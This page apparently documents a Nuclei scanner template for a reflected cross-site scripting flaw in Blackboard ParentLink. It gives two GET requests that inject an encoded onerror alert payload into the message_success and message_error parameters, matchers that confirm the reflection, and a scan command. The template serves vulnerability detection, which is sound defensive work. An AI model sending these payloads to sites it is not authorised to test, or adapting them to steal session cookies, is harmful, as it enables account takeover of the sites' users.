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Blackboard - Cross-Site Scripting

ID: parentlink-xss

Severity: high

Author: r3naissance

Tags: blackboard,parentlink,xss

Blackboard contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

id: parentlink-xss
info:
name: Blackboard - Cross-Site Scripting
author: r3naissance
severity: high
description: Blackboard contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
reference:
- https://help.blackboard.com/Community_Engagement/Administrator/Release_Notes
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
cvss-score: 7.2
cwe-id: CWE-79
metadata:
max-request: 2
tags: blackboard,parentlink,xss
http:
- method: GET
path:
- '{{BaseURL}}/main/blank?message_success=%3Cimg%20src%3Dc%20onerror%3Dalert(8675309)%3E'
- '{{BaseURL}}/main/blank?message_error=%3Cimg%20src%3Dc%20onerror%3Dalert(8675309)%3E'
matchers-condition: and
matchers:
- type: word
words:
- '<img src=c onerror=alert(8675309)>'
part: body
- type: word
words:
- "text/html"
part: header
- type: status
status:
- 200
# digest: 4a0a00473045022036f0211dbd81e940cc14a52c3ca0b723432d6700ea46602d7ff72e030bef5f3b022100fc6a814cb420bd768dac6f6937b65746e239bebc1922a65691626efee4017587:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/other/parentlink-xss.yaml"

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